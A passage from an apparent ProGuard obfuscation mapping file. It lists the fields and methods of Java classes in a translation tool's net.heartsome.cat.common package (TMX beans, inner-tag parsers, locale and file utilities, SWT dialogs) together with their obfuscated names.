PRE_CONTEXT_NAME + java.lang.String NEXT_CONTEXT_NAME -> NEXT_CONTEXT_NAME + java.lang.String[] preContext -> z + java.lang.String[] nextContext -> A + void appendPreContext(java.lang.String) -> appendPreContext + void appendNextContext(java.lang.String) -> appendNextContext + java.lang.String getNextContext() -> getNextContext + java.lang.String getPreContext() -> getPreContext +net.heartsome.cat.common.bean.TmxHeader -> net.heartsome.cat.common.bean.TmxHeader: + java.lang.String adminlang -> B + java.lang.String changedate -> C + java.lang.String changeid -> D + java.lang.String creationdate -> E + java.lang.String creationid -> F + java.lang.String creationtool -> G + java.lang.String creationtoolversion -> H + java.lang.String datatype -> I + java.lang.Object[] items -> items + java.lang.String oencoding -> J + java.lang.String otmf -> K + java.lang.String segtype -> L + java.lang.String srclang -> M + java.lang.String tmxVersion -> N + java.lang.String getAdminlang() -> getAdminlang + void setAdminlang(java.lang.String) -> setAdminlang + java.lang.String getChangedate() -> getChangedate + void setChangedate(java.lang.String) -> setChangedate + java.lang.String getChangeid() -> getChangeid + void setChangeid(java.lang.String) -> setChangeid + java.lang.String getCreationdate() -> getCreationdate + void setCreationdate(java.lang.String) -> setCreationdate + java.lang.String getCreationid() -> getCreationid + void setCreationid(java.lang.String) -> setCreationid + java.lang.String getCreationtool() -> getCreationtool + void setCreationtool(java.lang.String) -> setCreationtool + java.lang.String getCreationtoolversion() -> getCreationtoolversion + void setCreationtoolversion(java.lang.String) -> setCreationtoolversion + java.lang.String getDatatype() -> getDatatype + void setDatatype(java.lang.String) -> setDatatype + java.lang.Object[] getItems() -> getItems + void setItems(java.lang.Object[]) -> setItems + java.lang.String getOencoding() -> getOencoding + void setOencoding(java.lang.String) -> setOencoding + java.lang.String getOtmf() -> getOtmf + void setOtmf(java.lang.String) -> setOtmf + java.lang.String getSegtype() -> getSegtype + void setSegtype(java.lang.String) -> setSegtype + java.lang.String getSrclang() -> getSrclang + void setSrclang(java.lang.String) -> setSrclang + java.lang.String getTmxVersion() -> getTmxVersion + void setTmxVersion(java.lang.String) -> setTmxVersion +net.heartsome.cat.common.bean.TmxNote -> net.heartsome.cat.common.bean.TmxNote: + int dbPk -> O + java.lang.String xmlLang -> P + java.lang.String encoding -> encoding + java.lang.String content -> Q + boolean equals(java.lang.Object) -> equals + java.lang.String getXmlLang() -> getXmlLang + void setXmlLang(java.lang.String) -> setXmlLang + java.lang.String getEncoding() -> getEncoding + void setEncoding(java.lang.String) -> setEncoding + java.lang.String getContent() -> getContent + void setContent(java.lang.String) -> setContent + int getDbPk() -> getDbPk + void setDbPk(int) -> setDbPk +net.heartsome.cat.common.bean.TmxProp -> net.heartsome.cat.common.bean.TmxProp: + int dbPk -> O + java.lang.String name -> name + java.lang.String value -> value + boolean equals(java.lang.Object) -> equals + void setName(java.lang.String) -> setName + java.lang.String getName() -> getName + void setValue(java.lang.String) -> setValue + java.lang.String getValue() -> getValue + int getDbPk() -> getDbPk + void setDbPk(int) -> setDbPk +net.heartsome.cat.common.bean.TmxSegement -> net.heartsome.cat.common.bean.TmxSegement: + int dbPk -> O + java.lang.String pureText -> R + java.lang.String fullText -> S + java.lang.String langCode -> T + java.lang.String textTagPlaceHolder -> U + java.util.List innerTags -> V + java.lang.String creationUser -> W + java.lang.String creationDate -> creationDate + java.lang.String changeDate -> X + java.lang.String changeUser -> Y + java.lang.String creationTool -> Z + java.lang.String creationToolVersion -> aa + java.util.Map attributes -> attributes + void setPureText(java.lang.String) -> setPureText + java.lang.String getPureText() -> getPureText + void setFullTextWithParseTag(java.lang.String) -> setFullTextWithParseTag + java.lang.String getTextTagPlaceHolder() -> getTextTagPlaceHolder + java.util.List getInnerTags() -> getInnerTags + void setFullText(java.lang.String) -> setFullText + java.lang.String getFullText() -> getFullText + void setLangCode(java.lang.String) -> setLangCode + java.lang.String getLangCode() -> getLangCode + int getDbPk() -> getDbPk + void setDbPk(int) -> setDbPk + void setAttributes(java.util.Map) -> setAttributes + java.util.Map getAttributes() -> getAttributes + void appendAttribute(java.lang.String,java.lang.String) -> appendAttribute + java.lang.String getCreationUser() -> getCreationUser + void setCreationUser(java.lang.String) -> setCreationUser + java.lang.String getCreationDate() -> getCreationDate + void setCreationDate(java.lang.String) -> setCreationDate + java.lang.String getChangeDate() -> getChangeDate + void setChangeDate(java.lang.String) -> setChangeDate + java.lang.String getChangeUser() -> getChangeUser + void setChangeUser(java.lang.String) -> setChangeUser + java.lang.String getCreationTool() -> getCreationTool + void setCreationTool(java.lang.String) -> setCreationTool + java.lang.String getCreationToolVersion() -> getCreationToolVersion + void setCreationToolVersion(java.lang.String) -> setCreationToolVersion +net.heartsome.cat.common.bean.TmxTU -> net.heartsome.cat.common.bean.TmxTU: + int tmId -> ab + int fidx -> ac + java.lang.String tuId -> ad + java.util.List props -> ae + java.util.List notes -> af + java.lang.String creationUser -> W + java.lang.String creationDate -> creationDate + java.lang.String changeDate -> X + java.lang.String changeUser -> Y + java.lang.String creationTool -> Z + java.lang.String creationToolVersion -> aa + java.util.Map attributes -> attributes + net.heartsome.cat.common.bean.TmxSegement source -> ag + net.heartsome.cat.common.bean.TmxSegement target -> ah + java.util.List segments -> ai + net.heartsome.cat.common.bean.TmxContexts contexts -> aj + void setTmId(int) -> setTmId + int getTmId() -> getTmId + void setProps(java.util.List) -> setProps + boolean isContainsProp(net.heartsome.cat.common.bean.TmxProp) -> isContainsProp + void appendProp(net.heartsome.cat.common.bean.TmxProp) -> appendProp + java.util.List getProps() -> getProps + net.heartsome.cat.common.bean.TmxProp getPropByType(java.lang.String) -> getPropByType + java.util.List getNotes() -> getNotes + void appendNote(net.heartsome.cat.common.bean.TmxNote) -> appendNote + void setNotes(java.util.List) -> setNotes + void setCreationUser(java.lang.String) -> setCreationUser + java.lang.String getCreationUser() -> getCreationUser + void setCreationDate(java.lang.String) -> setCreationDate + java.lang.String getCreationDate() -> getCreationDate + void setChangeDate(java.lang.String) -> setChangeDate + java.lang.String getChangeDate() -> getChangeDate + void setChangeUser(java.lang.String) -> setChangeUser + java.lang.String getChangeUser() -> getChangeUser + void setSource(net.heartsome.cat.common.bean.TmxSegement) -> setSource + net.heartsome.cat.common.bean.TmxSegement getSource() -> getSource + void setTarget(net.heartsome.cat.common.bean.TmxSegement) -> setTarget + net.heartsome.cat.common.bean.TmxSegement getTarget() -> getTarget + java.util.List getSegments() -> getSegments + void setSegments(java.util.List) -> setSegments + void appendSegement(net.heartsome.cat.common.bean.TmxSegement) -> appendSegement + java.lang.String getTuId() -> getTuId + void setTuId(java.lang.String) -> setTuId + java.lang.String getCreationTool() -> getCreationTool + void setCreationTool(java.lang.String) -> setCreationTool + java.lang.String getCreationToolVersion() -> getCreationToolVersion + void setCreationToolVersion(java.lang.String) -> setCreationToolVersion + java.util.Map getAttributes() -> getAttributes + void setAttributes(java.util.Map) -> setAttributes + void appendAttribute(java.lang.String,java.lang.String) -> appendAttribute + net.heartsome.cat.common.bean.TmxContexts getContexts() -> getContexts + void setContexts(net.heartsome.cat.common.bean.TmxContexts) -> setContexts + void appendContext(java.lang.String,java.lang.String) -> appendContext + int getFidx() -> getFidx + void setFidx(int) -> setFidx +net.heartsome.cat.common.bean.TranslationUnitAnalysisResult -> net.heartsome.cat.common.bean.TranslationUnitAnalysisResult: + int similarity -> t + java.lang.String dbName -> dbName + int getSimilarity() -> getSimilarity + void setSimilarity(int) -> setSimilarity + java.lang.String getDbName() -> getDbName + void setDbName(java.lang.String) -> setDbName +net.heartsome.cat.common.core.Constant -> net.heartsome.cat.common.core.Constant: + int RUNNING_MODE -> RUNNING_MODE + int MODE_DEBUG -> MODE_DEBUG + int MODE_DEPLOY -> MODE_DEPLOY + int RETURNVALUE_RESULT_SUCCESSFUL -> RETURNVALUE_RESULT_SUCCESSFUL + int RETURNVALUE_RESULT_FAILURE -> RETURNVALUE_RESULT_FAILURE + java.lang.String RETURNVALUE_RESULT -> RETURNVALUE_RESULT + java.lang.String RETURNVALUE_VALUE -> RETURNVALUE_VALUE + java.lang.String RETURNVALUE_MSG -> RETURNVALUE_MSG + java.lang.String RETURNVALUE_EXCEPTION -> RETURNVALUE_EXCEPTION + int CHANGECASE_UPPER -> CHANGECASE_UPPER + int CHANGECASE_LOWER -> CHANGECASE_LOWER + int CHANGECASE_SENTENCE -> CHANGECASE_SENTENCE + int CHANGECASE_TITLE -> CHANGECASE_TITLE + int CHANGECASE_TOGGLE -> CHANGECASE_TOGGLE + java.lang.String SEPARATORS_1 -> SEPARATORS_1 + java.lang.String SEPARATORS -> SEPARATORS + int EDITION_UE -> EDITION_UE + int EDITION_PRO -> EDITION_PRO + int EDITION_PE -> EDITION_PE + int EDITION_LITE -> EDITION_LITE + java.lang.String FOLDER_SRC -> FOLDER_SRC + java.lang.String FOLDER_TGT -> FOLDER_TGT + java.lang.String FOLDER_XLIFF -> FOLDER_XLIFF + java.lang.String FOLDER_SKL -> FOLDER_SKL + java.lang.String FOLDER_REPORT -> FOLDER_REPORT + java.lang.String FOLDER_INTERMEDDIATE -> FOLDER_INTERMEDDIATE + java.lang.String FOLDER_OTHER -> FOLDER_OTHER + java.lang.String SKL_INTERNAL_FILE -> SKL_INTERNAL_FILE + java.lang.String NAVIGATOR_VIEW_ID -> NAVIGATOR_VIEW_ID + java.lang.String FILE_CONFIG -> FILE_CONFIG +net.heartsome.cat.common.core.CoreActivator -> net.heartsome.cat.common.core.CoreActivator: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.common.core.CoreActivator plugin -> ak + java.lang.String PATH_PREF -> al + java.lang.String LANGUAGE_CODE_PATH -> LANGUAGE_CODE_PATH + java.lang.String ISO3166_1_PAHT -> ISO3166_1_PAHT + java.lang.String ISO639_1_PAHT -> ISO639_1_PAHT + java.lang.String ISO639_2_PAHT -> ISO639_2_PAHT + org.slf4j.Logger logger -> logger + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.common.core.CoreActivator getDefault() -> getDefault + java.io.InputStream getConfigurationFileInputStream(java.lang.String) -> getConfigurationFileInputStream +net.heartsome.cat.common.core.IPreferenceConstants -> net.heartsome.cat.common.core.IPreferenceConstants: + java.lang.String LANGUAGECODE -> LANGUAGECODE + java.lang.String LAST_DIRECTORY -> LAST_DIRECTORY + java.lang.String AUTOMATIC_OO -> AUTOMATIC_OO +net.heartsome.cat.common.core.exception.ImportException -> net.heartsome.cat.common.core.exception.ImportException: + long serialVersionUID -> serialVersionUID +net.heartsome.cat.common.core.resource.Messages -> net.heartsome.cat.common.core.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> am + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.common.file.AbstractFileHandler -> net.heartsome.cat.common.file.AbstractFileHandler: + java.util.Map openFile(java.lang.String) -> openFile + java.util.Map openFile(java.lang.String,int) -> a + java.util.Map openFile(java.io.File) -> openFile + java.util.Map openFile(java.io.File,int) -> a + java.util.Map openFiles(java.util.List) -> openFiles + java.util.Map closeFile(java.lang.String) -> closeFile + java.util.Map closeFile(java.io.File) -> closeFile + java.util.Map closeFiles(java.util.List) -> closeFiles + java.util.Map saveFile(java.lang.String,java.lang.String) -> saveFile + java.util.Map saveFile(java.io.File,java.io.File) -> saveFile + java.util.Map createFileHistory(int,int) -> createFileHistory +net.heartsome.cat.common.file.AbstractFileHandler$1 -> net.heartsome.cat.common.file.AbstractFileHandler$1: + long serialVersionUID -> serialVersionUID + net.heartsome.cat.common.file.AbstractFileHandler this$0 -> an + int val$maxSize -> ao + boolean removeEldestEntry(java.util.Map$Entry) -> removeEldestEntry +net.heartsome.cat.common.file.FileManager -> net.heartsome.cat.common.file.FileManager: + void createZip(java.lang.String,java.util.zip.ZipOutputStream,java.lang.String) -> createZip + void createZip(java.lang.String,java.util.zip.ZipOutputStream,java.util.List) -> createZip + void addFileToZip(java.util.zip.ZipOutputStream,java.lang.String,java.lang.String) -> addFileToZip + void releaseZipToFile(java.lang.String,java.lang.String) -> releaseZipToFile + java.util.List getSubFiles(java.io.File,java.util.List) -> getSubFiles + java.io.File getRealFileName(java.lang.String,java.lang.String) -> a + java.lang.String getAbsFileName(java.lang.String,java.io.File) -> a + void deleteFileOrFolder(java.io.File) -> deleteFileOrFolder +net.heartsome.cat.common.file.LanguageConfiger -> net.heartsome.cat.common.file.LanguageConfiger: + net.heartsome.xml.vtdimpl.VTDUtils vu -> ap + java.io.File langConfigFile -> aq + com.ximpleware.AutoPilot ap -> ar + org.slf4j.Logger LOGGER -> LOGGER + void parseFile() -> parseFile + java.util.Map getAllLanguage() -> getAllLanguage + net.heartsome.cat.common.locale.Language getLanguageByCode(java.lang.String) -> getLanguageByCode + java.util.List getLanuagesByCodes(java.util.List) -> getLanuagesByCodes + void updateLanguageByCode(java.lang.String,net.heartsome.cat.common.locale.Language) -> updateLanguageByCode + void deleteLanguageByCode(java.lang.String) -> deleteLanguageByCode + void addLanguage(net.heartsome.cat.common.locale.Language) -> addLanguage + java.lang.String generateLangNode(net.heartsome.cat.common.locale.Language) -> a + boolean saveToFile(com.ximpleware.XMLModifier,java.io.File) -> a +net.heartsome.cat.common.file.XLFValidator -> net.heartsome.cat.common.file.XLFValidator: + org.slf4j.Logger logger -> logger + org.eclipse.swt.widgets.Shell shell -> shell + boolean blnMsg1 -> blnMsg1 + boolean blnIsOpenConfirmSrc -> blnIsOpenConfirmSrc + boolean blnIsOpenConfirmSrcY -> blnIsOpenConfirmSrcY + boolean blnIsOpenConfirmTgt -> blnIsOpenConfirmTgt + boolean blnIsOpenConfirmTgtY -> blnIsOpenConfirmTgtY + java.util.HashMap mapProjectLang -> as + boolean validateXliffFile(org.eclipse.core.resources.IFile) -> validateXliffFile + boolean validateXliffFile(java.lang.String) -> validateXliffFile + boolean validateXlifFileStr(java.util.List) -> validateXlifFileStr + boolean validateXliffFile(java.io.File) -> validateXliffFile + boolean validateXlifFiles(java.util.List) -> validateXlifFiles + boolean validateXlifIFiles(java.util.List) -> validateXlifIFiles + void resetFlag() -> resetFlag + java.lang.Object[] getProjectLang(org.eclipse.core.resources.IFile) -> a +net.heartsome.cat.common.innertag.InnerTagBean -> net.heartsome.cat.common.innertag.InnerTagBean: + int index -> index + java.lang.String name -> name + java.lang.String content -> Q + net.heartsome.cat.common.innertag.TagType type -> at + boolean wrongTag -> au + int getIndex() -> getIndex + void setIndex(int) -> setIndex + java.lang.String getName() -> getName + void setName(java.lang.String) -> setName + java.lang.String getContent() -> getContent + void setContent(java.lang.String) -> setContent + net.heartsome.cat.common.innertag.TagType getType() -> getType + void setType(net.heartsome.cat.common.innertag.TagType) -> setType + void setWrongTag(boolean) -> setWrongTag + boolean isWrongTag() -> isWrongTag + boolean equals(java.lang.Object) -> equals +net.heartsome.cat.common.innertag.TagStyle -> net.heartsome.cat.common.innertag.TagStyle: + net.heartsome.cat.common.innertag.TagStyle INDEX -> INDEX + net.heartsome.cat.common.innertag.TagStyle SIMPLE -> SIMPLE + net.heartsome.cat.common.innertag.TagStyle FULL -> FULL + net.heartsome.cat.common.innertag.TagStyle curStyle -> curStyle + int[] $SWITCH_TABLE$net$heartsome$cat$common$innertag$TagStyle -> av + net.heartsome.cat.common.innertag.TagStyle[] ENUM$VALUES -> aw + net.heartsome.cat.common.innertag.TagStyle getNextStyle() -> getNextStyle + net.heartsome.cat.common.innertag.TagStyle getDefault() -> getDefault + net.heartsome.cat.common.innertag.TagStyle getDefault(boolean) -> getDefault + void setTagStyle(net.heartsome.cat.common.innertag.TagStyle) -> setTagStyle + net.heartsome.cat.common.innertag.TagStyle[] values() -> values + net.heartsome.cat.common.innertag.TagStyle valueOf(java.lang.String) -> valueOf + int[] $SWITCH_TABLE$net$heartsome$cat$common$innertag$TagStyle() -> a +net.heartsome.cat.common.innertag.TagType -> net.heartsome.cat.common.innertag.TagType: + net.heartsome.cat.common.innertag.TagType STANDALONE -> STANDALONE + net.heartsome.cat.common.innertag.TagType START -> START + net.heartsome.cat.common.innertag.TagType END -> END + net.heartsome.cat.common.innertag.TagType[] ENUM$VALUES -> ax + net.heartsome.cat.common.innertag.TagType[] values() -> values + net.heartsome.cat.common.innertag.TagType valueOf(java.lang.String) -> valueOf +net.heartsome.cat.common.innertag.TmxInnerTagParser -> net.heartsome.cat.common.innertag.TmxInnerTagParser: + java.util.List standaloneTags -> ay + java.util.List normalTags -> az + net.heartsome.cat.common.innertag.factory.IPlaceHolderBuilder placeHolderCreater -> aA + net.heartsome.cat.common.innertag.TmxInnerTagParser instance -> aB + java.util.Stack indexStack -> aC + java.util.List innertTags -> aD + int maxIndex -> aE + boolean hasStartTag -> aF + int start -> start + net.heartsome.cat.common.innertag.TmxInnerTagParser getInstance() -> getInstance + net.heartsome.cat.common.innertag.factory.IPlaceHolderBuilder getPlaceHolderBuilder() -> getPlaceHolderBuilder + void resetParser() -> b + java.util.List parseInnerTag(java.lang.StringBuilder) -> parseInnerTag + void addInnerTagBean(net.heartsome.cat.common.innertag.TagType,java.lang.StringBuilder,java.lang.String,java.lang.String) -> a + java.lang.String getTagName(java.lang.String) -> getTagName + java.lang.String getTmxPureText(java.lang.String) -> getTmxPureText + void main(java.lang.String[]) -> main +net.heartsome.cat.common.innertag.factory.DefaultPlaceHolderBuilder -> net.heartsome.cat.common.innertag.factory.DefaultPlaceHolderBuilder: + java.lang.String getPlaceHolder(java.util.List,int) -> getPlaceHolder + int getIndex(java.util.List,java.lang.String) -> getIndex +net.heartsome.cat.common.innertag.factory.IInnerTagFactory -> net.heartsome.cat.common.innertag.factory.IInnerTagFactory: + java.lang.String parseInnerTag(java.lang.String) -> parseInnerTag + java.lang.String getText() -> getText + java.util.List getInnerTagBeans() -> getInnerTagBeans +net.heartsome.cat.common.innertag.factory.IPlaceHolderBuilder -> net.heartsome.cat.common.innertag.factory.IPlaceHolderBuilder: + java.lang.String getPlaceHolder(java.util.List,int) -> getPlaceHolder + int getIndex(java.util.List,java.lang.String) -> getIndex +net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder -> net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder: + java.lang.String UNICODE_PREFIX -> aG + char MIN -> MIN + char MAX -> MAX + java.util.regex.Pattern PATTERN -> PATTERN + int getIndex(java.util.List,java.lang.String) -> getIndex + java.lang.String getPlaceHolder(java.util.List,int) -> getPlaceHolder +net.heartsome.cat.common.innertag.factory.TmxInnerTagFactory -> net.heartsome.cat.common.innertag.factory.TmxInnerTagFactory: + java.util.List getInnerTagBeans() -> getInnerTagBeans + java.lang.String getText() -> getText + java.lang.String parseInnerTag(java.lang.String) -> parseInnerTag +net.heartsome.cat.common.innertag.factory.XliffInnerTagFactory -> net.heartsome.cat.common.innertag.factory.XliffInnerTagFactory: + java.util.List standaloneTags -> ay + java.util.List normalTags -> az + java.util.ArrayList beans -> aH + java.lang.String text -> text + net.heartsome.cat.common.innertag.factory.IPlaceHolderBuilder placeHolderCreater -> aA + java.util.Stack indexStack -> aC + int start -> start + int maxIndex -> aE + boolean HasStartTag -> aI + boolean targetFlg -> aJ + boolean exist -> aK + void reset() -> reset + java.lang.String getText() -> getText + java.util.List getInnerTagBeans() -> getInnerTagBeans + java.lang.String parseInnerTag(java.lang.String,boolean) -> parseInnerTag + java.lang.String parseInnerTag(java.lang.String) -> parseInnerTag + void addInnerTagBean(net.heartsome.cat.common.innertag.TagType,java.lang.StringBuffer,java.lang.String,java.lang.String) -> a + java.lang.String getTagName(java.lang.String) -> getTagName +net.heartsome.cat.common.locale.Language -> net.heartsome.cat.common.locale.Language: + java.lang.String code -> code + java.lang.String name -> name + java.lang.String imagePath -> aL + boolean bidi -> aM + java.util.Locale locale -> locale + java.lang.String getCode() -> getCode + void setCode(java.lang.String) -> setCode + java.lang.String getName() -> getName + void setName(java.lang.String) -> setName + java.lang.String getImagePath() -> getImagePath + void setImagePath(java.lang.String) -> setImagePath + boolean isBidi() -> isBidi + void setBidi(boolean) -> setBidi + java.util.Locale getLocale() -> getLocale + java.lang.String toString() -> toString +net.heartsome.cat.common.locale.LocaleService -> net.heartsome.cat.common.locale.LocaleService: + java.lang.String[] pageCodes -> aN + java.util.Map defaultLanguage -> aO + net.heartsome.cat.common.file.LanguageConfiger langConfiger -> aP + net.heartsome.cat.common.file.LanguageConfiger getLanguageConfiger() -> getLanguageConfiger + java.lang.String[] getPageCodes() -> getPageCodes + java.lang.String[] getLanguageCodes() -> getLanguageCodes + java.lang.String[] getLanguages() -> getLanguages + java.lang.String getLanguageDisplayString(net.heartsome.cat.common.locale.Language) -> b + java.util.Map getLanguageConfiguration() -> c + java.lang.String getLanguageConfigAsString() -> getLanguageConfigAsString + java.lang.String getLanguageCodeByLanguage(java.lang.String) -> getLanguageCodeByLanguage + java.lang.String getLanguageNameByLanguage(java.lang.String) -> getLanguageNameByLanguage + java.lang.String getLanguage(java.lang.String) -> getLanguage + java.lang.String getLanguageCode(java.lang.String) -> getLanguageCode + java.lang.String getLanguageName(java.lang.String) -> getLanguageName + java.lang.String[] getBidirectionalLangs() -> getBidirectionalLangs + java.lang.String getCountryName(java.lang.String) -> getCountryName + java.lang.String getISO639(java.lang.String) -> getISO639 + java.util.Map getDefaultLanguage() -> getDefaultLanguage + boolean verifyLanguages(java.util.Vector) -> verifyLanguages +net.heartsome.cat.common.operator.AbstractOperator -> net.heartsome.cat.common.operator.AbstractOperator: + void undo() -> undo + void redo() -> redo + void exit() -> exit + void setDocumentProperties(java.util.Map) -> setDocumentProperties + java.util.Map getDocumentProperties() -> getDocumentProperties + void cut() -> cut + void copy() -> copy + void paste() -> paste +net.heartsome.cat.common.resources.ResourceUtils -> net.heartsome.cat.common.resources.ResourceUtils: + int DEFAULT_BUFFER_SIZE -> DEFAULT_BUFFER_SIZE + org.eclipse.core.resources.IWorkspaceRoot root -> aQ + void getFiles(org.eclipse.core.resources.IContainer,java.util.ArrayList,java.lang.String[]) -> getFiles + void getXliffs(org.eclipse.core.resources.IContainer,java.util.ArrayList) -> getXliffs + java.lang.String iFileToOSPath(org.eclipse.core.resources.IFile) -> iFileToOSPath + java.util.List IFilesToOsPath(java.util.List) -> IFilesToOsPath + java.io.File iFileToFile(org.eclipse.core.resources.IFile) -> iFileToFile + java.util.List iFilesToFiles(java.util.List) -> iFilesToFiles + void copyDirectory(java.io.File,java.io.File) -> copyDirectory + void copyFile(java.io.File,java.io.File) -> copyFile + java.lang.String toWorkspacePath(java.lang.String) -> toWorkspacePath + java.lang.String toWorkspacePath(org.eclipse.core.runtime.IPath) -> toWorkspacePath + org.eclipse.core.resources.IFile fileToIFile(java.lang.String) -> fileToIFile + java.util.List filesToIFiles(java.util.List) -> filesToIFiles +net.heartsome.cat.common.tm.MatchQuality -> net.heartsome.cat.common.tm.MatchQuality: + int PENALTY -> aR + java.lang.String[] ignorables -> aS + boolean loaded -> aT + java.lang.String LCS(java.lang.String,java.lang.String) -> b + int similarity(java.lang.String,java.lang.String) -> similarity + void main(java.lang.String[]) -> main + void loadIgnorables() -> d +net.heartsome.cat.common.ui.Activator -> net.heartsome.cat.common.ui.Activator: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.common.ui.Activator plugin -> aU + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.common.ui.Activator getDefault() -> getDefault + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor +net.heartsome.cat.common.ui.HSDropDownButton -> net.heartsome.cat.common.ui.HSDropDownButton: + int DEFAULT_SPACES -> aV + java.lang.String EMPTY_SPACE -> aW + org.eclipse.swt.graphics.Color COLOR__BLACK -> aX + org.eclipse.swt.widgets.Menu menu -> aY + org.eclipse.swt.widgets.Menu getMenu() -> getMenu + void setMenu(org.eclipse.swt.widgets.Menu) -> setMenu + void checkSubclass() -> checkSubclass + void setText(java.lang.String) -> setText + java.lang.String getText() -> getText + java.lang.String getSpaceByWidth(int) -> getSpaceByWidth + org.eclipse.swt.graphics.Color access$0() -> e +net.heartsome.cat.common.ui.HSDropDownButton$1 -> net.heartsome.cat.common.ui.HSDropDownButton$1: + net.heartsome.cat.common.ui.HSDropDownButton this$0 -> aZ + void paintControl(org.eclipse.swt.events.PaintEvent) -> paintControl +net.heartsome.cat.common.ui.HSDropDownButton$2 -> net.heartsome.cat.common.ui.HSDropDownButton$2: + net.heartsome.cat.common.ui.HSDropDownButton this$0 -> aZ + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.common.ui.HSFontSettingComposite -> net.heartsome.cat.common.ui.HSFontSettingComposite: + org.eclipse.jface.viewers.ComboViewer fontNameComboViewer -> ba + org.eclipse.jface.viewers.ComboViewer fontSizeComboViewer -> bb + org.eclipse.swt.widgets.Label previewFontText -> bc + org.eclipse.swt.graphics.Font previewFont -> bd + java.lang.String title -> title + org.eclipse.swt.graphics.FontData[] getFontSetingFont() -> getFontSetingFont + void initFont(java.lang.String,int) -> initFont + void dispose() -> dispose + void createContent() -> createContent + java.lang.String[] getSystemFonts() -> f +net.heartsome.cat.common.ui.HSFontSettingComposite$1 -> net.heartsome.cat.common.ui.HSFontSettingComposite$1: + net.heartsome.cat.common.ui.HSFontSettingComposite this$0 -> be + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.common.ui.HSFontSettingComposite$2 -> net.heartsome.cat.common.ui.HSFontSettingComposite$2: + net.heartsome.cat.common.ui.HSFontSettingComposite this$0 -> be + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.common.ui.HsImageLabel -> net.heartsome.cat.common.ui.HsImageLabel: + org.eclipse.swt.widgets.Control control -> control + org.eclipse.swt.widgets.Composite body -> bf + org.eclipse.swt.widgets.Label imageLabel -> imageLabel + org.eclipse.swt.widgets.Label descriptionLabel -> bg + org.eclipse.jface.resource.ImageDescriptor imageDescription -> bh + java.lang.String description -> description + org.eclipse.swt.graphics.Image image -> image + org.eclipse.swt.graphics.Point size -> size + org.eclipse.swt.widgets.Composite createControl(org.eclipse.swt.widgets.Composite) -> createControl + org.eclipse.swt.graphics.Point computeSize() -> computeSize + org.eclipse.swt.graphics.Point computeSize(int) -> computeSize + org.eclipse.swt.graphics.Point doComputeSize(int) -> a + org.eclipse.swt.widgets.Label createDescriptionLabel(org.eclipse.swt.widgets.Composite) -> createDescriptionLabel + org.eclipse.swt.widgets.Label createImageLabel(org.eclipse.swt.widgets.Composite) -> a + void dispose() -> dispose + org.eclipse.swt.widgets.Control getControl() -> getControl + org.eclipse.jface.resource.ImageDescriptor getImageDescription() -> getImageDescription + java.lang.String getDescription() -> getDescription +net.heartsome.cat.common.ui.HsImageLabel$1 -> net.heartsome.cat.common.ui.HsImageLabel$1: + net.heartsome.cat.common.ui.HsImageLabel this$0 -> bi + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog -> net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog: + org.eclipse.jface.viewers.TreeViewer fViewer -> bj + org.eclipse.jface.viewers.ILabelProvider fLabelProvider -> bk + org.eclipse.jface.viewers.ITreeContentProvider fContentProvider -> bl + org.eclipse.ui.dialogs.ISelectionStatusValidator fValidator -> bm + org.eclipse.jface.viewers.ViewerComparator fComparator -> bn + boolean fAllowMultiple -> bo + boolean fDoubleClickSelects -> bp + java.lang.String fEmptyListMessage -> bq + org.eclipse.core.runtime.IStatus fCurrStatus -> br + java.util.List fFilters -> bs + java.lang.Object fInput -> bt + boolean fIsEmpty -> bu + int fWidth -> bv + int fHeight -> bw + void setInitialSelection(java.lang.Object) -> setInitialSelection + void setEmptyListMessage(java.lang.String) -> setEmptyListMessage + void setAllowMultiple(boolean) -> setAllowMultiple + void setDoubleClickSelects(boolean) -> setDoubleClickSelects + void setSorter(org.eclipse.jface.viewers.ViewerSorter) -> setSorter + void setComparator(org.eclipse.jface.viewers.ViewerComparator) -> setComparator + void addFilter(org.eclipse.jface.viewers.ViewerFilter) -> addFilter + void setValidator(org.eclipse.ui.dialogs.ISelectionStatusValidator) -> setValidator + void setInput(java.lang.Object) -> setInput + void setSize(int,int) -> setSize + void updateOKStatus() -> updateOKStatus + int open() -> open + void access$superCreate() -> g + void cancelPressed() -> cancelPressed + void computeResult() -> computeResult + void create() -> create + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + org.eclipse.jface.viewers.TreeViewer createTreeViewer(org.eclipse.swt.widgets.Composite) -> createTreeViewer + org.eclipse.jface.viewers.TreeViewer doCreateTreeViewer(org.eclipse.swt.widgets.Composite,int) -> doCreateTreeViewer + org.eclipse.jface.viewers.TreeViewer getTreeViewer() -> getTreeViewer + boolean evaluateIfTreeEmpty(java.lang.Object) -> a + void access$superButtonPressed(int) -> access$superButtonPressed + void access$setResult(java.util.List) -> access$setResult + void handleShellCloseEvent() -> handleShellCloseEvent + void access$0(net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog) -> a + org.eclipse.jface.viewers.TreeViewer access$1(net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog) -> b + java.util.List access$2(net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog) -> c + org.eclipse.core.runtime.IStatus access$3(net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog) -> d + boolean access$4(net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog) -> e +net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog$1 -> net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog$1: + 